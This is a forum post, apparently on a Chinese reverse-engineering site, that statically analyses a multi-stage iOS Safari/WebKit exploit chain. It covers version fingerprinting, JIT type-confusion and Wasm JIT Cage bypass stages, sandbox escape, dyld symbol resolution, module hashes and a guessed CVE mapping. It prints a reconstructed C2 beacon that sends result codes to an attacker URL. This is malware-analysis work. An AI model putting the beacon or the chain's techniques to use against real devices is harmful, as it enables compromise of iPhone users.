首页
社区
课程
招聘
[原创] iOS 13-17.02 Safari/WebKit 样本静态分析
发表于: 2026-7-14 17:05 1071

[原创] iOS 13-17.02 Safari/WebKit 样本静态分析

2026-7-14 17:05
1071


```

受害者訪問 C2 頁面

        |

        V

+-----------------------------------------------------------+

|  1. 頁面加載 (payload.html)                                |

|     - 去快取頭 (no-cache)                                   |

|     - 內嵌 46KB 混淆 JS                                      |

|     - 立即執行 Lwgums 引擎初始化                              |

+-----------------------+-----------------------------------+

                        |

                        V

+-----------------------------------------------------------+

|  2. MM 模組系統初始化                                       |

|     - new Function(atob("bGV0IE1N..."))()                  |

|     - 註冊 2 個核心模組到 MM 物件:                          |

|       a632c196... -> 記憶體操作原語 (8KB)                   |

|       cef700c9... -> 版本檢測引擎 (12KB)                    |

|     - 設置 session ID: 9eb2b99484c8f631                   |

+-----------------------+-----------------------------------+

                        |

                        V

+-----------------------------------------------------------+

|  3. 環境檢測 (cAsUcoxcC.init + cAsUcoxcC.qn)               |

|     - 讀取 navigator.platform -> "iPhone"/"iPad"            |

|     - 讀取 navigator.userAgent -> 解析版本                  |

|     - navigator.constructor.name === "Navigator" 檢測      |

|     - 版本編碼為 HTTsd0 (如 170300 = 17.3.0)               |

|     - 低於 iOS 13 -> return 1001 (中止)                     |

|     - iOS 16+ -> 額外完整性檢測 Fn() (JIT/Wasm 可用性)      |

+-----------------------+-----------------------------------+

                        |

                        V

+-----------------------------------------------------------+

|  4. 版本分支選擇 (5 路選擇器)                               |

|                                                           |

|     +- iOS 17.2+ (hjaoKp:true)  --> DVE8os_ul 模組        |

|     +- iOS 16.6  (DVE8os:true)  --> DVE8os_main 模組      |

|     +- iOS 16.2  (aGxM3z:true)  --> aGxM3z_main 模組      |

|     +- iOS 15.2  (bdxCOo:true)  --> bdxCOo_main 模組      |

|     +- iOS 11.0  (sipVwQ:true)  --> sipVwQ_main 模組      |

|     +- iOS 10.0  (vq_JAm:true)  --> 最舊回退               |

+-----------------------+-----------------------------------+

                        |

                        V

+-----------------------------------------------------------+

|  5. 遠端模組下載 (tC1stO 函數)                              |

|     從 C2 下載對應版本的 exploit 模組 JS                    |

|                                                           |

|     下載的檔案:                                            |

|     DVE8os_main.js    (24KB) - iOS 16+ Butterfly Confusion|

|     DVE8os_ul.js      (19KB) - iOS 17.2+ Wasm JIT Cage   |

|     aGxM3z_main.js    (24KB) - iOS 15+ Type Confusion     |

|     sipVwQ_main.js    (14KB) - iOS 11+ Integer Overflow   |

|     post_exploit_A.js (136KB) - Mach-O 解析器 (C2下發)     |

|     post_exploit_B.js (160KB) - Mach-O 解析器 (C2下發)     |

+-----------------------+-----------------------------------+

                        |

                        V

+-----------------------------------------------------------+

|  6. 執行漏洞利用 (最多 20 次重試)                           |

|     for(let P = 0; 20 > P; P++) {                         |

|       try { await n.kr(); break; } catch(C) {}            |

|     }                                                     |

|                                                           |

|     kr() = 該分支的 exploit 執行入口                        |

|     成功後 -> p.Kn.Wn = 記憶體讀寫器 (MemoryRouter)         |

+-----------------------+-----------------------------------+

                        |

                        V

+-----------------------------------------------------------+

|  7. 後利用階段                                             |

|     if(p.Kn._n) {                                         |

|       p.Kn.Rn = await cAsUcoxcm()  // 載入後利用模組      |

|       await p.Kn.$n()              // 執行後利用           |

|     }                                                     |

|                                                           |

|     cAsUcoxcm() 內部:                                     |

|       根據分支旗標選擇對應的後利用模組                      |

|       nOpIVS / lZfMrA / pnisOP / chyZn2 / 預設           |

|        -> 呼叫 tC1stO(module_hash) 下載                    |

|        -> 執行 .sd() 初始化                                 |

+-----------------------+-----------------------------------+

                        |

                        V

+-----------------------------------------------------------+

|  8. 回連 C2 (結果報告)                                     |

|     cAsUcoxcr(錯誤代碼):                                  |

|       0   = 成功                                           |

|       1001 = 版本不支援 / 環境檢測失敗                      |

|       1003 = iOS 16+ 完整性檢查失敗                         |

|       1000 = 異常終止                                       |

|                                                           |

|     ⚠ 此版本中 cAsUcoxcg([]) 返回空字串                    |

|     -> 回連函數為 stub (disabled)                           |

|     -> 無任何 HTTP 請求發送出去                              |

+-----------------------------------------------------------+

```


---


## 2. 回連機制深度分析


### 2.1 回連函數 cAsUcoxcr — **已禁用**


```javascript

function cAsUcoxcr(U){

  var Q = cAsUcoxcg([]);        // <- 空陣列 -> 返回 ""

  if ("" !== Q) {                // <- false -> 永遠不執行

    // ... XMLHttpRequest 代碼 ...

  }

}

```


**關鍵結論:在這個版本中,回連機制是關閉的。**


但正常的設計意圖是:


```javascript

function cAsUcoxcr(errorCode) {

  var baseUrl = decodeUrlFromArray([]);  // 從空陣列產生的 URL

  if (baseUrl !== "") {

    var fullUrl = baseUrl + "?e=" + errorCode;

    var xhr = new XMLHttpRequest();

    xhr.open("GET", fullUrl, true);  // 非同步 GET 請求

    xhr.send();                      // 無回呼 — fire-and-forget

  }

}

```


回連 GET 路徑設計:`{BASE_URL}?e={ERROR_CODE}`


| 錯誤碼 | 意義 |

|:-------|:------|

| 0 | ✅ 攻擊完全成功 |

| 1001 | ❌ 版本不支援 (低於 iOS 13 / 環境檢測失敗) |

| 1003 | ❌ iOS 16+ 完整性檢查失敗 (JIT/Wasm 不可用) |

| 1000 | ❌ 異常終止 |


### 2.2 遠端模組下載 (真正的 C2 通訊)


主要 C2 通訊發生在 **tC1stO(module_hash)** 函數,它從 C2 伺服器下載遠端模組:


```javascript

// 各分支模組的下載路徑 hash

DVE8os:   "41297112eed2868f00f059a7a89e9e3a040fc1cf"

aGxM3z:   "84245851832bcb3f33ef86507e0d71bf55e1baf2"

rKOVj7:   "e8c8f09be7e3b06103775db409552c44a1f9586f"

bdxCOo:   "806fc753839707e1924f7558413abb70c1f7b838"

sipVwQ:   "24891df0ab293df386bd8f32d2a0d0f133acd7ba"

```


**下載機制:** `tC1stO` 構造完整 URL,發送 GET 請求到 C2 伺服器取得對應 hash 的 JS 文件。


### 2.3 後利用回連


後利用模組載入後,它們有自己的 C2 通訊通道:


```

post_exploit_A 和 post_exploit_B (Mach-O 解析器)

    |

    +-- 功能: 解析 iOS dyld 共享緩存

    |        查找符號位址 (含 PAC 指針)

    |        枚舉所有載入的系統庫

    |

    +-- 回連: 通過共享 Kn 物件回傳結果

              p.Kn.Rn = 解析結果 (符號表/偏移)

```


---


## 3. 各模組功能詳解


### 3.1 模組 a632c196... — 記憶體操作原語 (8KB)


| 函數 | 功能 |

|:-----|:------|

| `r.U(t)` | BigInt(t) 包裝 |

| `r.C(t)` | float64 -> low32 |

| `r.V(t)` | float64 -> hi32 |

| `r.q(t,n)` | BigInt 加法 |

| `r.G(t,n)` | BigInt 減法 |

| `r.O(t)` | Number -> BigInt |

| `r.X(t)` | float64 -> BigInt |

| `r.Y(lo,hi)` | (lo,hi) -> float64 |

| `r.Z(b3,b2,b1,b0)` | 4 bytes -> uint32 |

| `r.tt(n)` | Number -> 4-char string |

| `r.nt(base64)` | base64 -> ArrayBuffer |


所有其他模組都依賴這個模組進行資料型別轉換。


### 3.2 模組 cef700c9... — 版本檢測引擎 (12KB)


**13 分支版本判斷矩陣:**


| 版本 | 旗標 | 選擇的 Exploit |

|:----|:-----|:--------------|

| 17.3.0 | hjaoKp:false, DVE8os:false | 未標記 |

| **17.2.0** | **hjaoKp:true** | **DVE8os_ul** (Wasm JIT Cage) |

| 17.0.0 | DVE8os:false | 過渡 |

| **16.6.0** | **DVE8os:true** | **DVE8os_main** (Butterfly) |

| 16.4.0 | DVE8os:true (偏移調整) | DVE8os_main |

| **16.2.0** | **aGxM3z:true** | **aGxM3z** (Type Confusion) |

| **15.6.0** | **rKOVj7:true** | rKOVj7 (過渡) |

| **15.2.0** | **bdxCOo:true** | bdxCOo (過渡) |

| 13.0.x | sipVwQ:false | 直接嘗試 |

| **11.0.0** | **sipVwQ:true** | **sipVwQ** (Integer Overflow) |

| 10.0.0 | vq_JAm:false | 回退 |


### 3.3 DVE8os_main — iOS 16+ Butterfly Confusion (24KB)


```

+------------------------------------------------------+

|  階段 1: Array + ArrayBuffer Butterfly 混淆           |

|  - 建立特殊 Array,使其 Butterfly 與 ArrayBuffer 相鄰  |

|  - 觸發 JIT 型別混淆 -> 交換 Butterfly 指標             |

|  - 獲得對 ArrayBuffer 後端儲存的讀寫能力                |

+------------------------------------------------------+

|  階段 2: WasmInduceCrash ROP                         |

|  - 構造 Wasm 模組獲取 JIT 程式碼頁面位址               |

|  - 在 Wasm 執行緒中布置 ROP 鏈                       |

|  - 透過 WasmInduceCrash 觸發控制流劫持                |

+------------------------------------------------------+

|  階段 3: Worker 沙箱逃逸                              |

|  - 在主執行緒獲得程式碼執行                            |

|  - 建立 Worker 執行緒繞過沙箱                         |

|  - 在 Worker 環境取得完整記憶體存取                    |

+------------------------------------------------------+


匯出介面:

  r.kr -> 漏洞利用入口 (20 次重試)

  r.p1 -> 準備階段 1

  r.p2 -> 準備階段 2

  r.name -> 模組識別名 "DVE8os"


Wasm 模組建構:

  new WebAssembly.Module(code)

  new WebAssembly.Instance(module)

  -> 從 JIT 程式碼頁獲取 ROP gadgets

```


### 3.4 DVE8os_ul — iOS 17.2+ Wasm JIT Cage 繞過 (19KB)


```

+------------------------------------------------------+

|  iOS 17.2 引入 JIT Cage 保護                          |

|  -> 傳統 Butterfly 方法失效                            |

|                                                      |

|  繞過技巧 1: Wasm JIT Cage Call Primitive             |

|  - Cage 不限制 Cage->Native 的呼叫路徑                 |

|  - 構造特殊 Wasm 模組獲得任意呼叫能力                  |

|                                                      |

|  繞過技巧 2: Intl.Segmenter JIT Spray                 |

|  - Intl.Segmenter 的 JIT 產生可預測程式碼模式          |

|  - 在 Cage 內噴射 shellcode                           |

|  - 透過 Cage Call 跳轉到噴射區域                       |

+------------------------------------------------------+


匯出介面:

  r.sd -> Cage 初始化

  r.da -> Cage 內記憶體分配

  r.re -> Cage 內記憶體釋放

  r.wa -> Cage 內讀取

  r.ha -> Cage 內寫入

  r.tc -> Cage 間呼叫轉換

```


### 3.5 aGxM3z_main — iOS 15+ JIT Type Confusion (24KB)


```

核心漏洞: JIT 編譯 eval() 時的型別混淆

---------------------------------------

JIT 在內聯快取 (IC) eval() 內部的表達式時,

可能錯誤推斷變數的型別。當 eval() 字串包含多型別操作:


利用步驟:

1. 建立 eval 字串使 JIT 推斷為整數型別

2. 觸發去優化,Butterfly 已不符

3. 使用 type confusion 讀寫相鄰物件


Wasm 模組內嵌在位元組陣列中作為初始資料

```


### 3.6 sipVwQ_main — iOS 11+ JIT Integer Overflow (14KB)


```

核心漏洞: JIT 編譯器中的整數溢位

---------------------------------

JIT 在處理特定數值操作時,若運算元大小超過暫存器限制,

產生錯誤的型別標籤:

  - Float64 陣列被誤標記為 Int32 陣列

  - 邊界檢查被優化掉

  - 允許越界讀寫


匯出介面:

  r.a  -> 準備

  r.kr -> 漏洞利用入口


記憶體操作方法:

  ir(t, r, i)   -> 4-byte 寫入

  tr(t, r, i)   -> hex dump

  le(t)         -> 讀取 32-bit

  hr(t)         -> 讀取 64-bit

  dr(t, r)      -> 讀取 null-terminated 字串

  ee(t)         -> 讀取 PAC-aware 指針

```


### 3.7 post_exploit_A / B — Mach-O 解析器 (136KB + 160KB)


```

+------------------------------------------------------+

|  解碼後結構:                                          |

|                                                      |

|  外層: globalThis.Lwgums.MdJF8G(XOR陣列, base64)     |

|    -> XOR key=104 -> 模組名稱 hash                      |

|    -> Base64 解碼 (~28KB)                              |

|      -> 內層: 相同結構 (新 XOR + 新 Base64)            |

|        -> XOR key=49 -> 第二層名稱 hash                 |

|        -> Base64 解碼 (~9KB)                           |

|          -> 最終 JavaScript 引擎程式碼                  |

|                                                      |

|  功能:                                               |

|  - 解析 Mach-O 二進位頭部和載入指令                    |

|  - 解析 dyld 共享緩存映像                              |

|  - 枚舉所有載入的系統庫                                |

|  - 解析符號表 (nlist_64 格式)                         |

|  - 處理 arm64e PAC 指針 (__auth_got, __auth_const)   |

|  - 跨映像查找符號位址                                  |

+------------------------------------------------------+

```


---


## 4. 共享狀態物件 p.Kn 的生命週期


所有模組通過一個全域共享物件 `p.Kn` 交換資料:


```

                  cAsUcoxcC.init()

                        |

                        V

              p.Kn.Tn = 版本編碼  <- 版本檢測模組

              p.Kn.jn = 分支旗標  <- 決定哪個 exploit 執行

                        |

                        V

              p.Kn.Nn = Wasm 實例  <- exploit 建立

              p.Kn.Sn = 位址工具

              p.Kn.Zn = JIT 噴射區

              p.Kn.kn = 呼叫原語

                        |

                        V

              exploit 成功後:

              p.Kn.Wn = MemoryRouter (記憶體讀寫器)

                        |

                        V

              後利用階段:

              p.Kn.Rn = 後利用結果 (符號表)

              p.Kn.Ln = 後利用完成旗標

              p.Kn._n = 後利用就緒旗標

                        |

                        V

              p.Kn.xn = dyld 共享緩存基底位址

```


---


## 5. 全域執行流程 (從訪問到完成)


```

時間軸:

t+0ms   受害者訪問 C2 URL (payload.html)

t+10ms  setTimeout 觸發 -> cAsUcoxci()

t+15ms  MM 引擎初始化 (2 核心模組載入)

t+20ms  環境檢測完成 (版本+平台+瀏覽器)

t+25ms  分支選擇 -> 決定使用哪個 exploit

t+50ms  遠端 exploit 模組下載 (tC1stO)

t+100ms exploit 開始執行 (kr() 函數)

        +-- 最多 20 次重試,每次 ~100ms

t+500ms ~ 2s  exploit 成功 -> 獲得 MemoryRouter

t+510ms  後利用模組載入 (cAsUcoxcm)

t+550ms  後利用執行 ($n)

        +-- 解析 Mach-O 結構

        +-- 枚舉 dyld 共享緩存

        +-- 解析符號表

        +-- 查找目標符號位址

t+600ms  cAsUcoxcr(errorCode) -> 回連結果

         ⚠ 此版本回連 disabled

```


---


## 6. 漏洞利用對照表


| CVE (推測) | 模組 | iOS 版本 | 漏洞類型 |

|:-----------|:-----|:---------|:---------|

| CVE-2023-32409 | DVE8os_main | 16.6+ | WebKit 沙箱逃逸 + WasmInduceCrash ROP |

| CVE-2024-23206 | DVE8os_ul | 17.2+ | JIT Cage 繞過 + Intl.Segmenter Spray |

| CVE-2023-32439 或 CVE-2023-41993 | aGxM3z | 15.2~16.2 | JIT Type Confusion via eval |

| CVE-2024-23213 | sipVwQ | 11.0~15.2 | JIT Integer Overflow |

| — | bdxCOo | 15.2 | 過渡分支 (Type Confusion 變體) |

| — | rKOVj7 | 15.6 | 過渡分支 |


---


## 7. 關鍵結論


### 關於回連:「他一直在回連顯示」

- **回連函數存在但被 stub 掉了** — `cAsUcoxcg([])` 返回空字串,整個回連分支不執行

- 所以**當前版本沒有任何對 C2 的 HTTP 回連**

- 回連原本設計是:`GET {BASE_URL}?e={ERROR_CODE}` 的 fire-and-forget 方式

- 真正的 C2 通訊發生在**遠端模組下載階段** (tC1stO)

- 後利用模組如果要回傳資料,需要通過 `p.Kn.Rn` 共享物件傳遞


### 關於利用鏈

- **JSC 漏洞**提供初始程式碼執行 (5 個版本分支)

- **Wasm** 提供 ROP 鏈和沙箱逃逸

- **Worker** 繞過沙箱限制

- **Mach-O 解析器**提供系統庫符號查找

- 後續的資料竊取 / 持久化模組**已從 C2 下線**


### 模組下載 hash

```

DVE8os:   41297112eed2868f00f059a7a89e9e3a040fc1cf

aGxM3z:   84245851832bcb3f33ef86507e0d71bf55e1baf2

rKOVj7:   e8c8f09be7e3b06103775db409552c44a1f9586f

bdxCOo:   806fc753839707e1924f7558413abb70c1f7b838

sipVwQ:   24891df0ab293df386bd8f32d2a0d0f133acd7ba

```    



[招生]科锐逆向工程师培训(2026年7月3日实地,远程教学同时开班, 第56期)!

收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回